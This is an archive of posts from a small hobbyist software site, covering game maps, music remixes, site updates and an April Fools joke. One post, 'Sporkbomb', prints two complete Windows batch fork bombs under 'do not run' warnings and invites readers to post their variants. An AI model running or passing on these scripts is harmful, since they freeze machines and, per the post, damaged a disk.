Minousoft Software » Offtopic

Changing site theme

oakwhiz — Sun, 24 Jan 2010 21:25:29 +0000

Just a short update: The site’s theme will be updated soon. I’m getting tired of fixing all of the errors in the current theme and I want to switch to something better. Hopefully, the new theme will be cleaner and more compatible.

Features may break temporarily while this is happening, so be sure to report any errors. Stay tuned for the new Minousoft.com!

Screenshots of minousoft_postnuclear

oakwhiz — Sat, 05 Sep 2009 03:14:13 +0000

As you may have heard, I’ve been working on a Garry’s Mod map called minousoft_postnuclear. As the name implies, the map is designed around a barren radioactive wasteland. My goals for this map are to include interesting features and scenery, and to make the map suitable for both building (sandbox) and roleplay (i.e. DarkRP.)

The main areas of the map will be:

The vast wasteland.
A small fenced-off area with a metal bunker and radio tower.
An underground nuclear fallout shelter, complete with enough food, resources, and equipment to last for hundreds of years.
A small shack in the middle of nowhere.
Possibly a small settlement.
A few subterranean tunnels will be provided for shelter and travel.

Planned features:

Periodic radiation damage when walking in contaminated areas of the wasteland.
Physical wind that moves small objects dropped on the ground.
Good optimization – the whole map currently compiles in around 30 seconds, and I’d like to keep it within5 minutes when I’m done.
A huge door that seals off the entrance to the underground base.
A gigantic elevator that transports players to the underground base. The elevator shaft protrudes approximately 0.5km below the Earth’s surface. It takes quite a long time to get from the top to the bottom, even if you jump down in free fall.

Enough with the details – here are some awesome screenshots! Please keep in mind that these are from an early test and will not reflect the quality of the finished map. Several chunks of the map have been cordoned off to reduce load times, so the world ‘cuts off’ suddenly at the edge.

If you have any questions, comments, or suggestions, feel free to post them here – your input on this map is appreciated!

Minousoft on Twitter! (plus minor updates)

oakwhiz — Tue, 30 Jun 2009 05:40:13 +0000

You can now follow Minousoft on Twitter. You’ll get the added benefit of receiving tweets when new posts are made!

Also, some minor updates…

A couple of bugfixes have been made in Polaris. Not much progress has been happening with Polaris lately, and it looks like it’ll take a while before it’s ready for release.
I’ve been working on several ‘experimental’ apps lately. I might post one up sometime soon.
Some previously unknown 404 and 403 errors on the site have been fixed.
The server software and hardware is being improved. No downtime is expected at all.

Thanks for 1000 hits!

oakwhiz — Tue, 12 May 2009 23:51:03 +0000

Earlier today, we reached the milestone of 1000 hits. I’d like to thank all of our visitors for helping us make it this far. In honor of this achievement, I created a Polaris ship:

Rovernet Video and Minousoft File Hosting

oakwhiz — Sun, 12 Apr 2009 04:05:31 +0000

This Easter weekend, I have uploaded four new items to the Media Player, including a video of a new game called Rovernet. Now, I don’t want to release too many details about Rovernet at this point, since the project is still under development and is just the ‘shell’ of a game, but I will tell you the basics. Rovernet will be a 2D platformer centered around a small robot, which has been sent to another planet. This robot’s goal is to explore the surrounding area, gather information, and collect samples from the environment. The game has a very solid physics system for the robot itself, as the robot is capable of both flying, using rocket boosters, and driving on terrain, using tank treads. The robot’s physics system is easy to grasp, and flying is accomplished with only three keys. When the robot is set on a flat surface, any lateral movements are accomplished with the treads instead of the rocket boosters. See the video in the Media Player for an illustration of how this works.

Also check out the three new remixes in the Media Player:

Tetris Theme Remix
Final Fantasy 7 Battle Remix
Final Fantasy 7 Prelude Remix

I would also like to inform everyone about our new experimental file hosting service called Minousoft File Upload. It is currently in beta.

Minor updates…

oakwhiz — Thu, 09 Apr 2009 02:54:52 +0000

There hasn’t been a real update for a little while, so I’m posting up what little developments there have been recently.

Two new songs in the Media Player, in case you haven’t noticed.
- The first one is a Never Gonna Give You Up remix, in the theme of last Wednesday’s April Fools. I found it challenging to get this one exactly right, but here it is.
- The second one is a remix of What Is Love by Haddaway – you may have heard it in the famous Night at The Roxbury clip circulating the internet. I think this is the best remix so far.
I would like to thank Jonathan (aka spiffyx300) for his generous donation of $10. Jonathan runs the Emerging RO game server at http://www.emergingro.com/ and is one of our pre-release beta testers.
Some of our users have noticed a 404 error page problem that we’re trying to track down. If you reach pages on the main site that are either mistyped or are not redirecting correctly, instead of a 404 error page, you will be redirected to http://www.minousoft.com/. If you notice any of this behavior please send us the URL so that we can fix the problem. For now, make sure to include both the WWW prefix and the trailing backslash – this seems to work every time.
You have to be logged in to use the shoutbox now. It’s been racking up huge amounts of spam. I might add a simple CAPTCHA to keep the spambots out.
I will not have much extra time for the next two months; it has been allotted to software development. Consequently, I will probably be slow in answering messages and posting updates. Don’t worry, I’ll still get around to it. I may try to find someone else to fill in for me. In the meantime… stay tuned.

And that’s all for now.

[APRIL FOOLS] New beta release of first person shooter game

oakwhiz — Thu, 02 Apr 2009 02:03:40 +0000

[APRIL FOOLS]

We’ve released a beta version of a new first-person shooter game. The main features: Extremely fast physics calculation system, incredible realtime 60fps raytracing engine, multiplatform support for Windows, Mac, Linux, ARM, AVR, iPhone, and more!

Video and download links are in the full article:

April Fools!

Media Player Updated

oakwhiz — Tue, 24 Mar 2009 06:02:07 +0000

If you were around last year, you may have noticed a little-used video player box on the site. I’ve updated it, fixed it, and added some content. The Media Player is now available here. So far, I’ve added two songs to the player.

The first is a remix of Still Alive from the game Portal in an 8-bit style with stereo effects. The lead is a sawtooth and the bass is a square wave.

The second song is a request. I thought it was unusual, but it was interesting so I decided to do it anyway. It’s Fukai Mori by Do As Infinity in the same 8-bit style as my Still Alive remix. It was challenging to get the instruments to balance properly, as many bass tracks were playing at once, which was causing the digital filters to go into awful clipping bouts. I decided to mute some parts to keep the simultaneous note count down, which ended up working great.

To listen, simply open the Media Player. You can also send us a MIDI file and I’ll try to remix it. No guarantees, though, as music isn’t really my forté.

If you like our remixes, please consider donating. Every dollar counts. (Hosting isn’t free!)

Sporkbomb

oakwhiz — Sun, 22 Mar 2009 05:08:49 +0000

This just in: hxhl95 reports that Sporkbomb B somehow managed to corrupt the MFT (master file table) and boot records on his PC’s hard drive. Don’t try this at home.

Yesterday, I was a bit bored and decided to make a Windows forkbomb.

Definition: forkbomb»

WARNING: DO NOT ATTEMPT TO RUN ANY OF THE CODE EXAMPLES PRESENTED IN THIS ARTICLE.
REALLY! DON’T TRY THIS AT HOME.
WE TAKE NO RESPONSIBILITY FOR YOUR ACTIONS.

That said, here’s the code for Sporkbomb A:
Sporkbomb A»
Sporkbomb A has randomization to make it more fun to watch. You can try to kill the processes and watch as they come back.

Here’s the code for Sporkbomb B:
Sporkbomb B»
Sporkbomb B is highly dangerous and can crash your system instantly. DO NOT RUN IT.

Post your forkbomb modifications here. We want to see them!

A fork bomb is a program that executes a form of DOS Attack. On a computer, it repeatedly forks (or creates new processes) until the computer crashes. All currently running programs may become unresponsive and become impossible to close.

@echo off

echo SPORKBOMB A: PROCESS START

:loop

IF %random% lss 30 %0|%0

IF %random% lss 5 start %0

goto loop

@echo off

echo SPORKBOMB B: PROCESS START

:loop

start %0

goto loop

TestMapPack Screenshots

oakwhiz — Fri, 20 Mar 2009 23:20:55 +0000

I neglected to include screenshots in the original TestMapPack post, so I’ve uploaded them at the end of this post.

Also, some users have been experiencing problems with the fact that the maps have been BZIP2 compressed. I have realized that only some Source games (i.e. Garry’s Mod) are able to load BZIP2 maps natively. If this is the case, simply decompress the maps with a tool such as 7zip.